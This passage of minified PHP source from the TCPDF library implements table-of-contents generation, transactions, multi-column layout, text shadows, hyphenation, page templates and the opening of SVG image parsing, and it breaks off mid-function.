($this->currpagegroup>0)){++$this->pagegroups[$this->currpagegroup];}$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if($outline['p']==$page){$this->outlines[]=array('t'=>$outline['t'],'l'=>$outline['l'],'x'=>$outline['x'],'y'=>$outline['y'],'p'=>$this->page,'f'=>$outline['f'],'s'=>$outline['s'],'c'=>$outline['c']);}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if($link['p']==$page){$this->links[]=array('p'=>$this->page,'y'=>$link['y'],'f'=>$link['f']);}}$this->lastPage(true);return true;} function addTOC($page='',$numbersfont='',$filler='.',$toc_name='TOC',$style='',$color=array(0,0,0)){$fontsize=$this->FontSizePt;$fontfamily=$this->FontFamily;$fontstyle=$this->FontStyle;$w=$this->w-$this->lMargin-$this->rMargin;$spacer=$this->GetStringWidth(chr(32))*4;$lmargin=$this->lMargin;$rmargin=$this->rMargin;$x_start=$this->GetX();$page_first=$this->page;$current_page=$this->page;$page_fill_start=false;$page_fill_end=false;$current_column=$this->current_column;if(TCPDF_STATIC::empty_string($numbersfont)){$numbersfont=$this->default_monospaced_font;}if(TCPDF_STATIC::empty_string($filler)){$filler=' ';}if(TCPDF_STATIC::empty_string($page)){$gap=' ';}else {$gap='';if($page<1){$page=1;}}$this->SetFont($numbersfont,$fontstyle,$fontsize);$numwidth=$this->GetStringWidth('00000');$maxpage=0;foreach($this->outlines as $key=>$outline){if(($this->page>$page_first) AND ($outline['p']>=$this->numpages)){$outline['p']+=($this->page-$page_first);}if($this->rtl){$aligntext='R';$alignnum='L';}else {$aligntext='L';$alignnum='R';}if($outline['l']==0){$this->SetFont($fontfamily,$outline['s'].'B',$fontsize);}else {$this->SetFont($fontfamily,$outline['s'],$fontsize-$outline['l']);}$this->SetTextColorArray($outline['c']);$this->checkPageBreak(2*$this->getCellHeight($this->FontSize));if(($this->page==$current_page) AND ($this->current_column==$current_column)){$this->lMargin=$lmargin;$this->rMargin=$rmargin;}else {if($this->current_column!=$current_column){if($this->rtl){$x_start=$this->w-$this->columns[$this->current_column]['x'];}else {$x_start=$this->columns[$this->current_column]['x'];}}$lmargin=$this->lMargin;$rmargin=$this->rMargin;$current_page=$this->page;$current_column=$this->current_column;}$this->SetX($x_start);$indent=($spacer*$outline['l']);if($this->rtl){$this->x-=$indent;$this->rMargin=$this->w-$this->x;}else {$this->x+=$indent;$this->lMargin=$this->x;}$link=$this->AddLink();$this->SetLink($link,$outline['y'],$outline['p']);if($this->rtl){$txt=' '.$outline['t'];}else {$txt=$outline['t'].' ';}$this->Write(0,$txt,$link,false,$aligntext,false,0,false,false,0,$numwidth,'');if($this->rtl){$tw=$this->x-$this->lMargin;}else {$tw=$this->w-$this->rMargin-$this->x;}$this->SetFont($numbersfont,$fontstyle,$fontsize);if(TCPDF_STATIC::empty_string($page)){$pagenum=$outline['p'];}else {$pagenum='{#'.($outline['p']).'}';if($this->isUnicodeFont()){$pagenum='{'.$pagenum.'}';}$maxpage=max($maxpage,$outline['p']);}$fw=($tw-$this->GetStringWidth($pagenum.$filler));$wfiller=$this->GetStringWidth($filler);if($wfiller>0){$numfills=floor($fw/$wfiller);}else {$numfills=0;}if($numfills>0){$rowfill=str_repeat($filler,$numfills);}else {$rowfill='';}if($this->rtl){$pagenum=$pagenum.$gap.$rowfill;}else {$pagenum=$rowfill.$gap.$pagenum;}$this->Cell($tw,0,$pagenum,0,1,$alignnum,0,$link,0);}$page_last=$this->getPage();$numpages=($page_last-$page_first+1);if($this->booklet){$page_fill_start=((($page_first%2)==0) XOR (($page%2)==0));$page_fill_end=(!((($numpages%2)==0) XOR ($page_fill_start)));if($page_fill_start){$this->addPage();++$page_last;++$numpages;}if($page_fill_end){$this->addPage();++$page_last;++$numpages;}}$maxpage=max($maxpage,$page_last);if(!TCPDF_STATIC::empty_string($page)){for($p=$page_first;$p<=$page_last;++$p){$temppage=$this->getPageBuffer($p);for($n=1;$n<=$maxpage;++$n){$a='{#'.$n.'}';$pnalias=$this->getInternalPageNumberAliases($a);if(($n>=$page) AND ($n<=$this->numpages)){$np=$n+$numpages;}else {$np=$n;}$na=TCPDF_STATIC::formatTOCPageNumber(($this->starting_page_number+$np-1));$nu=TCPDF_FONTS::UTF8ToUTF16BE($na,false,$this->isunicode,$this->CurrentFont);foreach($pnalias['u'] as $u){$sfill=str_repeat($filler,max(0,(strlen($u)-strlen($nu.' '))));if($this->rtl){$nr=$nu.TCPDF_FONTS::UTF8ToUTF16BE(' '.$sfill,false,$this->isunicode,$this->CurrentFont);}else {$nr=TCPDF_FONTS::UTF8ToUTF16BE($sfill.' ',false,$this->isunicode,$this->CurrentFont).$nu;}$temppage=str_replace($u,$nr,$temppage);}foreach($pnalias['a'] as $a){$sfill=str_repeat($filler,max(0,(strlen($a)-strlen($na.' '))));if($this->rtl){$nr=$na.' '.$sfill;}else {$nr=$sfill.' '.$na;}$temppage=str_replace($a,$nr,$temppage);}}$this->setPageBuffer($p,$temppage);}$this->Bookmark($toc_name,0,0,$page_first,$style,$color);if($page_fill_start){$this->movePage($page_last,$page_first);}for($i=0;$i<$numpages;++$i){$this->movePage($page_last,$page);}}} function addHTMLTOC($page='',$toc_name='TOC',$templates=array(),$correct_align=true,$style='',$color=array(0,0,0)){$filler=' ';$prev_htmlLinkColorArray=$this->htmlLinkColorArray;$prev_htmlLinkFontStyle=$this->htmlLinkFontStyle;$this->htmlLinkColorArray=array();$this->htmlLinkFontStyle='';$page_first=$this->getPage();$page_fill_start=false;$page_fill_end=false;$current_font=$this->FontFamily;foreach($templates as $level=>$html){$dom=$this->getHtmlDomArray($html);foreach($dom as $key=>$value){if($value['value']=='#TOC_PAGE_NUMBER#'){$this->SetFont($dom[($key-1)]['fontname']);$templates['F'.$level]=$this->isUnicodeFont();}}}$this->SetFont($current_font);$maxpage=0;foreach($this->outlines as $key=>$outline){$row=$templates[$outline['l']];if(TCPDF_STATIC::empty_string($page)){$pagenum=$outline['p'];}else {$pagenum='{#'.($outline['p']).'}';if($templates['F'.$outline['l']]){$pagenum='{'.$pagenum.'}';}$maxpage=max($maxpage,$outline['p']);}$row=str_replace('#TOC_DESCRIPTION#',$outline['t'],$row);$row=str_replace('#TOC_PAGE_NUMBER#',$pagenum,$row);$row='<a href="#'.$outline['p'].','.$outline['y'].'">'.$row.'</a>';$this->writeHTML($row,false,false,true,false,'');}$this->htmlLinkColorArray=$prev_htmlLinkColorArray;$this->htmlLinkFontStyle=$prev_htmlLinkFontStyle;$page_last=$this->getPage();$numpages=($page_last-$page_first+1);if($this->booklet){$page_fill_start=((($page_first%2)==0) XOR (($page%2)==0));$page_fill_end=(!((($numpages%2)==0) XOR ($page_fill_start)));if($page_fill_start){$this->addPage();++$page_last;++$numpages;}if($page_fill_end){$this->addPage();++$page_last;++$numpages;}}$maxpage=max($maxpage,$page_last);if(!TCPDF_STATIC::empty_string($page)){for($p=$page_first;$p<=$page_last;++$p){$temppage=$this->getPageBuffer($p);for($n=1;$n<=$maxpage;++$n){$a='{#'.$n.'}';$pnalias=$this->getInternalPageNumberAliases($a);if($n>=$page){$np=$n+$numpages;}else {$np=$n;}$na=TCPDF_STATIC::formatTOCPageNumber(($this->starting_page_number+$np-1));$nu=TCPDF_FONTS::UTF8ToUTF16BE($na,false,$this->isunicode,$this->CurrentFont);foreach($pnalias['u'] as $u){if($correct_align){$sfill=str_repeat($filler,(strlen($u)-strlen($nu.' ')));if($this->rtl){$nr=$nu.TCPDF_FONTS::UTF8ToUTF16BE(' '.$sfill,false,$this->isunicode,$this->CurrentFont);}else {$nr=TCPDF_FONTS::UTF8ToUTF16BE($sfill.' ',false,$this->isunicode,$this->CurrentFont).$nu;}}else {$nr=$nu;}$temppage=str_replace($u,$nr,$temppage);}foreach($pnalias['a'] as $a){if($correct_align){$sfill=str_repeat($filler,(strlen($a)-strlen($na.' ')));if($this->rtl){$nr=$na.' '.$sfill;}else {$nr=$sfill.' '.$na;}}else {$nr=$na;}$temppage=str_replace($a,$nr,$temppage);}}$this->setPageBuffer($p,$temppage);}$this->Bookmark($toc_name,0,0,$page_first,$style,$color);if($page_fill_start){$this->movePage($page_last,$page_first);}for($i=0;$i<$numpages;++$i){$this->movePage($page_last,$page);}}} function startTransaction(){if(isset($this->objcopy)){$this->commitTransaction();}$this->start_transaction_page=$this->page;$this->start_transaction_y=$this->y;$this->objcopy=TCPDF_STATIC::objclone($this);} function commitTransaction(){if(isset($this->objcopy)){$this->objcopy->_destroy(true,true);unset($this->objcopy);}} function rollbackTransaction($self=false){if(isset($this->objcopy)){$this->_destroy(true,true);if($self){$objvars=get_object_vars($this->objcopy);foreach($objvars as $key=>$value){$this->$key=$value;}}return $this->objcopy;}return $this;} function setEqualColumns($numcols=0,$width=0,$y=''){$this->columns=array();if($numcols<2){$numcols=0;$this->columns=array();}else {$maxwidth=($this->w-$this->original_lMargin-$this->original_rMargin)/$numcols;if(($width==0) OR ($width>$maxwidth)){$width=$maxwidth;}if(TCPDF_STATIC::empty_string($y)){$y=$this->y;}$space=(($this->w-$this->original_lMargin-$this->original_rMargin-($numcols*$width))/($numcols-1));for($i=0;$i<$numcols;++$i){$this->columns[$i]=array('w'=>$width,'s'=>$space,'y'=>$y);}}$this->num_columns=$numcols;$this->current_column=0;$this->column_start_page=$this->page;$this->selectColumn(0);} function resetColumns(){$this->lMargin=$this->original_lMargin;$this->rMargin=$this->original_rMargin;$this->setEqualColumns();} function setColumnsArray($columns){$this->columns=$columns;$this->num_columns=count($columns);$this->current_column=0;$this->column_start_page=$this->page;$this->selectColumn(0);} function selectColumn($col=''){if(is_string($col)){$col=$this->current_column;}elseif($col>=$this->num_columns){$col=0;}$xshift=array('x'=>0,'s'=>array('H'=>0,'V'=>0),'p'=>array('L'=>0,'T'=>0,'R'=>0,'B'=>0));$enable_thead=false;if($this->num_columns>1){if($col!=$this->current_column){if($this->column_start_page==$this->page){$this->y=$this->columns[$col]['y'];}else {$this->y=$this->tMargin;}if(($this->page>$this->maxselcol['page']) OR (($this->page==$this->maxselcol['page']) AND ($col>$this->maxselcol['column']))){$enable_thead=true;$this->maxselcol['page']=$this->page;$this->maxselcol['column']=$col;}}$xshift=$this->colxshift;$listindent=($this->listindentlevel*$this->listindent);$colpos=0;for($i=0;$i<$col;++$i){$colpos+=($this->columns[$i]['w']+$this->columns[$i]['s']);}if($this->rtl){$x=$this->w-$this->original_rMargin-$colpos;$this->rMargin=($this->w-$x+$listindent);$this->lMargin=($x-$this->columns[$col]['w']);$this->x=$x-$listindent;}else {$x=$this->original_lMargin+$colpos;$this->lMargin=($x+$listindent);$this->rMargin=($this->w-$x-$this->columns[$col]['w']);$this->x=$x+$listindent;}$this->columns[$col]['x']=$x;}$this->current_column=$col;$this->newline=true;if((!TCPDF_STATIC::empty_string($this->thead)) AND (!$this->inthead)){if($enable_thead){$this->writeHTML($this->thead,false,false,false,false,'');$this->y+=$xshift['s']['V'];if(!isset($this->columns[$col]['th'])){$this->columns[$col]['th']=array();}$this->columns[$col]['th']['\''.$this->page.'\'']=$this->y;$this->lasth=0;}elseif(isset($this->columns[$col]['th']['\''.$this->page.'\''])){$this->y=$this->columns[$col]['th']['\''.$this->page.'\''];}}if($this->rtl){$this->rMargin+=$xshift['x'];$this->x-=($xshift['x']+$xshift['p']['R']);}else {$this->lMargin+=$xshift['x'];$this->x+=$xshift['x']+$xshift['p']['L'];}} function getColumn(){return $this->current_column;} function getNumberOfColumns(){return $this->num_columns;} function setTextRenderingMode($stroke=0,$fill=true,$clip=false){if($stroke<0){$stroke=0;}if($fill===true){if($stroke>0){if($clip===true){$textrendermode=6;}else {$textrendermode=2;}$textstrokewidth=$stroke;}else {if($clip===true){$textrendermode=4;}else {$textrendermode=0;}}}else {if($stroke>0){if($clip===true){$textrendermode=5;}else {$textrendermode=1;}$textstrokewidth=$stroke;}else {if($clip===true){$textrendermode=7;}else {$textrendermode=3;}}}$this->textrendermode=$textrendermode;$this->textstrokewidth=$stroke;} function setTextShadow($params=array('enabled'=>false,'depth_w'=>0,'depth_h'=>0,'color'=>false,'opacity'=>1,'blend_mode'=>'Normal')){if(isset($params['enabled'])){$this->txtshadow['enabled']=$params['enabled']?true:false;}else {$this->txtshadow['enabled']=false;}if(isset($params['depth_w'])){$this->txtshadow['depth_w']=floatval($params['depth_w']);}else {$this->txtshadow['depth_w']=0;}if(isset($params['depth_h'])){$this->txtshadow['depth_h']=floatval($params['depth_h']);}else {$this->txtshadow['depth_h']=0;}if(isset($params['color']) AND ($params['color']!==false) AND is_array($params['color'])){$this->txtshadow['color']=$params['color'];}else {$this->txtshadow['color']=$this->strokecolor;}if(isset($params['opacity'])){$this->txtshadow['opacity']=min(1,max(0,floatval($params['opacity'])));}else {$this->txtshadow['opacity']=1;}if(isset($params['blend_mode']) AND in_array($params['blend_mode'],array('Normal','Multiply','Screen','Overlay','Darken','Lighten','ColorDodge','ColorBurn','HardLight','SoftLight','Difference','Exclusion','Hue','Saturation','Color','Luminosity'))){$this->txtshadow['blend_mode']=$params['blend_mode'];}else {$this->txtshadow['blend_mode']='Normal';}if((($this->txtshadow['depth_w']==0) AND ($this->txtshadow['depth_h']==0)) OR ($this->txtshadow['opacity']==0)){$this->txtshadow['enabled']=false;}} function getTextShadow(){return $this->txtshadow;} function hyphenateWord($word,$patterns,$dictionary=array(),$leftmin=1,$rightmin=2,$charmin=1,$charmax=8){$hyphenword=array();$numchars=count($word);if($numchars<=$charmin){return $word;}$word_string=TCPDF_FONTS::UTF8ArrSubString($word,'','',$this->isunicode);$pattern='/^([a-zA-Z0-9_\.\-]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/';if(preg_match($pattern,$word_string)>0){return $word;}$pattern='/(([a-zA-Z0-9\-]+\.)?)((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/';if(preg_match($pattern,$word_string)>0){return $word;}if(isset($dictionary[$word_string])){return TCPDF_FONTS::UTF8StringToArray($dictionary[$word_string],$this->isunicode,$this->CurrentFont);}$tmpword=array_merge(array(46),$word,array(46));$tmpnumchars=$numchars+2;$maxpos=$tmpnumchars-1;for($pos=0;$pos<$maxpos;++$pos){$imax=min(($tmpnumchars-$pos),$charmax);for($i=1;$i<=$imax;++$i){$subword=strtolower(TCPDF_FONTS::UTF8ArrSubString($tmpword,$pos,($pos+$i),$this->isunicode));if(isset($patterns[$subword])){$pattern=TCPDF_FONTS::UTF8StringToArray($patterns[$subword],$this->isunicode,$this->CurrentFont);$pattern_length=count($pattern);$digits=1;for($j=0;$j<$pattern_length;++$j){if(($pattern[$j]>=48) AND ($pattern[$j]<=57)){if($j==0){$zero=$pos-1;}else {$zero=$pos+$j-$digits;}$level=($pattern[$j]-48);if(!isset($hyphenword[$zero]) OR ($hyphenword[$zero]<$level)){$hyphenword[$zero]=$level;}++$digits;}}}}}$inserted=0;$maxpos=$numchars-$rightmin;for($i=$leftmin;$i<=$maxpos;++$i){if(isset($hyphenword[$i]) AND (($hyphenword[$i]%2)!=0)){array_splice($word,$i+$inserted,0,173);++$inserted;}}return $word;} function hyphenateText($text,$patterns,$dictionary=array(),$leftmin=1,$rightmin=2,$charmin=1,$charmax=8){$text=$this->unhtmlentities($text);$word=array();$txtarr=array();$intag=false;$skip=false;if(!is_array($patterns)){$patterns=TCPDF_STATIC::getHyphenPatternsFromTEX($patterns);}$unichars=TCPDF_FONTS::UTF8StringToArray($text,$this->isunicode,$this->CurrentFont);foreach($unichars as $char){if((!$intag) AND (!$skip) AND TCPDF_FONT_DATA::$uni_type[$char]=='L'){$word[]=$char;}else {if(!TCPDF_STATIC::empty_string($word)){$txtarr=array_merge($txtarr,$this->hyphenateWord($word,$patterns,$dictionary,$leftmin,$rightmin,$charmin,$charmax));$word=array();}$txtarr[]=$char;if(chr($char)=='<'){$intag=true;}elseif($intag AND (chr($char)=='>')){$intag=false;$expected=array(115,116,121,108,101);$current=array_slice($txtarr,-6,5);$compare=array_diff($expected,$current);if(empty($compare)){$expected=array(47);$current=array_slice($txtarr,-7,1);$compare=array_diff($expected,$current);if(empty($compare)){$skip=false;}else {$skip=true;}}}}}if(!TCPDF_STATIC::empty_string($word)){$txtarr=array_merge($txtarr,$this->hyphenateWord($word,$patterns,$dictionary,$leftmin,$rightmin,$charmin,$charmax));}return TCPDF_FONTS::UTF8ArrSubString($txtarr,'','',$this->isunicode);} function setRasterizeVectorImages($mode){$this->rasterize_vector_images=$mode;} function setFontSubsetting($enable=true){if($this->pdfa_mode){$this->font_subsetting=false;}else {$this->font_subsetting=$enable?true:false;}} function getFontSubsetting(){return $this->font_subsetting;} function stringLeftTrim($str,$replace=''){return preg_replace('/^'.$this->re_space['p'].'+/'.$this->re_space['m'],$replace,$str);} function stringRightTrim($str,$replace=''){return preg_replace('/'.$this->re_space['p'].'+$/'.$this->re_space['m'],$replace,$str);} function stringTrim($str,$replace=''){$str=$this->stringLeftTrim($str,$replace);$str=$this->stringRightTrim($str,$replace);return $str;} function isUnicodeFont(){return (($this->CurrentFont['type']=='TrueTypeUnicode') OR ($this->CurrentFont['type']=='cidfont0'));} function getFontFamilyName($fontfamily){$fontfamily=preg_replace('/[^a-z0-9_\,]/','',strtolower($fontfamily));$fontslist=preg_split('/[,]/',$fontfamily);foreach($fontslist as $font){$font=preg_replace('/regular$/','',$font);$font=preg_replace('/italic$/','I',$font);$font=preg_replace('/oblique$/','I',$font);$font=preg_replace('/bold([I]?)$/','B',$font);$pattern=array();$replacement=array();$pattern[]='/^serif|^cursive|^fantasy|^timesnewroman/';$replacement[]='times';$pattern[]='/^sansserif/';$replacement[]='helvetica';$pattern[]='/^monospace/';$replacement[]='courier';$font=preg_replace($pattern,$replacement,$font);if(in_array(strtolower($font),$this->fontlist) OR in_array($font,$this->fontkeys)){return $font;}}return $this->CurrentFont['fontkey'];} function startTemplate($w=0,$h=0,$group=false){if($this->inxobj){return false;}$this->inxobj=true;++$this->n;$this->xobjid='XT'.$this->n;$this->xobjects[$this->xobjid]=array('n'=>$this->n);$this->xobjects[$this->xobjid]['gvars']=$this->getGraphicVars();$this->xobjects[$this->xobjid]['intmrk']=0;$this->xobjects[$this->xobjid]['transfmrk']=array();$this->xobjects[$this->xobjid]['outdata']='';$this->xobjects[$this->xobjid]['xobjects']=array();$this->xobjects[$this->xobjid]['images']=array();$this->xobjects[$this->xobjid]['fonts']=array();$this->xobjects[$this->xobjid]['annotations']=array();$this->xobjects[$this->xobjid]['extgstates']=array();$this->xobjects[$this->xobjid]['gradients']=array();$this->xobjects[$this->xobjid]['spot_colors']=array();$this->num_columns=1;$this->current_column=0;$this->SetAutoPageBreak(false);if(($w==='') OR ($w<=0)){$w=$this->w-$this->lMargin-$this->rMargin;}if(($h==='') OR ($h<=0)){$h=$this->h-$this->tMargin-$this->bMargin;}$this->xobjects[$this->xobjid]['x']=0;$this->xobjects[$this->xobjid]['y']=0;$this->xobjects[$this->xobjid]['w']=$w;$this->xobjects[$this->xobjid]['h']=$h;$this->w=$w;$this->h=$h;$this->wPt=$this->w*$this->k;$this->hPt=$this->h*$this->k;$this->fwPt=$this->wPt;$this->fhPt=$this->hPt;$this->x=0;$this->y=0;$this->lMargin=0;$this->rMargin=0;$this->tMargin=0;$this->bMargin=0;$this->xobjects[$this->xobjid]['group']=$group;return $this->xobjid;} function endTemplate(){if(!$this->inxobj){return false;}$this->inxobj=false;$this->setGraphicVars($this->xobjects[$this->xobjid]['gvars'],true);return $this->xobjid;} function printTemplate($id,$x='',$y='',$w=0,$h=0,$align='',$palign='',$fitonpage=false){if($this->state!=2){return;}if(!isset($this->xobjects[$id])){$this->Error('The XObject Template \''.$id.'\' doesn\'t exist!');}if($this->inxobj){if($id==$this->xobjid){$this->endTemplate();}else {$this->xobjects[$this->xobjid]['xobjects'][$id]=$this->xobjects[$id];}}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$ow=$this->xobjects[$id]['w'];if($ow<=0){$ow=1;}$oh=$this->xobjects[$id]['h'];if($oh<=0){$oh=1;}if(($w<=0) AND ($h<=0)){$w=$ow;$h=$oh;}elseif($w<=0){$w=$h*$ow/$oh;}elseif($h<=0){$h=$w*$oh/$ow;}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);$rb_y=$y+$h;if($this->rtl){if($palign=='L'){$xt=$this->lMargin;}elseif($palign=='C'){$xt=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$xt=$this->w-$this->rMargin-$w;}else {$xt=$x-$w;}$rb_x=$xt;}else {if($palign=='L'){$xt=$this->lMargin;}elseif($palign=='C'){$xt=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$xt=$this->w-$this->rMargin-$w;}else {$xt=$x;}$rb_x=$xt+$w;}$this->StartTransform();$sx=($w/$ow);$sy=($h/$oh);$tm=array();$tm[0]=$sx;$tm[1]=0;$tm[2]=0;$tm[3]=$sy;$tm[4]=$xt*$this->k;$tm[5]=($this->h-$h-$y)*$this->k;$this->Transform($tm);$this->_out('/'.$id.' Do');$this->StopTransform();if(!empty($this->xobjects[$id]['annotations'])){foreach($this->xobjects[$id]['annotations'] as $annot){$coordlt=TCPDF_STATIC::getTransformationMatrixProduct($tm,array(1,0,0,1,($annot['x']*$this->k),(-$annot['y']*$this->k)));$ax=($coordlt[4]/$this->k);$ay=($this->h-$h-($coordlt[5]/$this->k));$coordrb=TCPDF_STATIC::getTransformationMatrixProduct($tm,array(1,0,0,1,(($annot['x']+$annot['w'])*$this->k),((-$annot['y']-$annot['h'])*$this->k)));$aw=($coordrb[4]/$this->k)-$ax;$ah=($this->h-$h-($coordrb[5]/$this->k))-$ay;$this->Annotation($ax,$ay,$aw,$ah,$annot['text'],$annot['opt'],$annot['spaces']);}}switch($align){case 'T':{$this->y=$y;$this->x=$rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$rb_x;break;}case 'B':{$this->y=$rb_y;$this->x=$rb_x;break;}case 'N':{$this->SetY($rb_y);break;}default:{break;}}} function setFontStretching($perc=100){$this->font_stretching=$perc;} function getFontStretching(){return $this->font_stretching;} function setFontSpacing($spacing=0){$this->font_spacing=$spacing;} function getFontSpacing(){return $this->font_spacing;} function getPageRegions(){return $this->page_regions;} function setPageRegions($regions=array()){$this->page_regions=array();foreach($regions as $data){$this->addPageRegion($data);}} function addPageRegion($region){if(!isset($region['page']) OR empty($region['page'])){$region['page']=$this->page;}if(isset($region['xt']) AND isset($region['xb']) AND ($region['xt']>0) AND ($region['xb']>0) AND isset($region['yt']) AND isset($region['yb']) AND ($region['yt']>=0) AND ($region['yt']<$region['yb']) AND isset($region['side']) AND (($region['side']=='L') OR ($region['side']=='R'))){$this->page_regions[]=$region;}} function removePageRegion($key){if(isset($this->page_regions[$key])){unset($this->page_regions[$key]);}} function checkPageRegions($h,$x,$y){if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}if(!$this->check_page_regions OR empty($this->page_regions)){return array($x,$y);}if(empty($h)){$h=$this->getCellHeight($this->FontSize);}if($this->checkPageBreak($h,$y)){$x=$this->x;$y=$this->y;}if($this->num_columns>1){if($this->rtl){$this->lMargin=($this->columns[$this->current_column]['x']-$this->columns[$this->current_column]['w']);}else {$this->rMargin=($this->w-$this->columns[$this->current_column]['x']-$this->columns[$this->current_column]['w']);}}else {if($this->rtl){$this->lMargin=max($this->clMargin,$this->original_lMargin);}else {$this->rMargin=max($this->crMargin,$this->original_rMargin);}}foreach($this->page_regions as $regid=>$regdata){if($regdata['page']==$this->page){if(($y>($regdata['yt']-$h)) AND ($y<=$regdata['yb'])){$minv=($regdata['xb']-$regdata['xt'])/($regdata['yb']-$regdata['yt']);$yt=max($y,$regdata['yt']);$yb=min(($yt+$h),$regdata['yb']);$xt=(($yt-$regdata['yt'])*$minv)+$regdata['xt'];$xb=(($yb-$regdata['yt'])*$minv)+$regdata['xt'];if($regdata['side']=='L'){$new_margin=max($xt,$xb);if($this->lMargin<$new_margin){if($this->rtl){$this->lMargin=max(0,$new_margin);}if($x<$new_margin){$x=$new_margin;if($new_margin>($this->w-$this->rMargin)){$y=$regdata['yb']-$h;}}}}elseif($regdata['side']=='R'){$new_margin=min($xt,$xb);if(($this->w-$this->rMargin)>$new_margin){if(!$this->rtl){$this->rMargin=max(0,($this->w-$new_margin));}if($x>$new_margin){$x=$new_margin;if($new_margin>$this->lMargin){$y=$regdata['yb']-$h;}}}}}}}return array($x,$y);} function ImageSVG($file,$x='',$y='',$w=0,$h=0,$link='',$align='',$palign='',$border=0,$fitonpage=false){if($this->state!=2){return;}$this->svggradients=array();$this->svggradientid=0;$this->svgdefsmode=false;$this->svgdefs=array();$this->svgclipmode=false;$this->svgclippaths=array();$this->svgcliptm=array();$this->svgclipid=0;$this->svgtext='';$this->svgtextmode=array();if($this->rasterize_vector_images AND ($w>0) AND ($h>0)){return $this->Image($file,$x,$y,$w,$h,'SVG',$link,$align,true,300,$palign,false,false,$border,false,false,false);}if($file[0]==='@'){$this->svgdir='';$svgdata=substr($file,1);}else {$this->svgdir=dirname($file);$svgdata=TCPDF_STATIC::fileGetContents($file);}if($svgdata===FALSE){$this->Error('SVG file not found: '.$file);}if($x===''){$x=$this->x;}if($y===''){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$k=$this->k;$ox=0;$oy=0;$ow=$w;$oh=$h;$aspect_ratio_align='xMidYMid';$aspect_ratio_ms='meet';$regs=array();preg_match('/<svg([^\>]*)>/si',$svgdata,$regs);if(isset($regs[1]) AND !empty($regs[1])){$tmp=array();if(preg_match('/[\s]+x[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$ox=$this->getHTMLUnitToUnits($tmp[1],0,$this->svgunit,false);}$tmp=array();if(preg_match('/[\s]+y[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$oy=$this->getHTMLUnitToUnits($tmp[1],0,$this->svgunit,false);}$tmp=array();if(preg_match('/[\s]+width[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$ow=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);}$tmp=array();if(preg_match('/[\s]+height[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$oh=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);}$tmp=array();$view_box=array();if(preg_match('/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.\-]+)[\s]+([0-9\.\-]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si',$regs[1],$tmp)){if(count($tmp)==5){array_shift($tmp);foreach($tmp as $key=>$val){$view_box[$key]=$this->getHTMLUnitToUnits($val,0,$this->svgunit,false);}$ox=$view_box[0];$oy=$view_box[1];}$tmp=array();if(preg_match('/[\s]+preserveAspectRatio[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$aspect_ratio=preg_split('/[\s]+/si',$tmp[1]);switch(count($aspect_ratio)){case 3:{$aspect_ratio_align=$aspect_ratio[1];$aspect_ratio_ms=$aspect_ratio[2];break;}case 2:{$aspect_ratio_align=$aspect_ratio[0];$aspect_ratio_ms=$aspect_ratio[1];break;}case 1:{$aspect_ratio_align=$aspect_ratio[0];$aspect_ratio_ms='meet';break;}}}}}if($ow<=0){$ow=1;}if($oh<=0){$oh=1;}if(($w<=0) AND ($h<=0)){$w=$ow;$h=$oh;}elseif($w<=0){$w=$h*$ow/$oh;}elseif($h<=0){$h=$w*$oh/$ow;}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);if($this->rasterize_vector_images){return $this->Image($file,$x,$y,$w,$h,'SVG',$link,$align,true,300,$palign,false,false,$border,false,false,false);}$this->img_rb_y=$y+$h;if($this->rtl){if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}$gvars=$this->getGraphicVars();$svgoffset_x=($ximg-$ox)*$this->k;$svgoffset_y=-($y-$oy)*$this->k;if(isset($view_box[2]) AND ($view_box[2]>0) AND ($view_box[3]>0)){$ow=$view_box[2];$oh=$view_box[3];}else {if($ow<=0){$ow=$w;}if($oh<=0){$oh=$h;}}$svgscale_x=$w/$ow;$svgscale_y=$h/$oh;if($aspect_ratio_align!='none'){$svgscale_old_x=$svgscale_x;$svgscale_old_y=$svgscale_y;if($aspect_ratio_ms=='slice'){if($svgscale_x>$svgscale_y){$svgscale_y=$svgscale_x;}elseif($svgscale_x<$svgscale_y){$svgscale_x=$svgscale_y;}}else {if($svgscale_x<$svgscale_y){$svgscale_y=$svgscale_x;}elseif($svgscale_x>$svgscale_y){$svgscale_x=$svgscale_y;}}switch(substr($aspect_ratio_align,1,3)){case 'Min':{break;}case 'Max':{$svgoffset_x+=(($w*$this->k)-($ow*$this->k*$svgscale_x));break;}default:case 'Mid':{$svgoffset_x+=((($w*$this->k)-($ow*$this->k*$svgscale_x))/2);break;}}switch(substr($aspect_ratio_align,5)){case 'Min':{break;}case 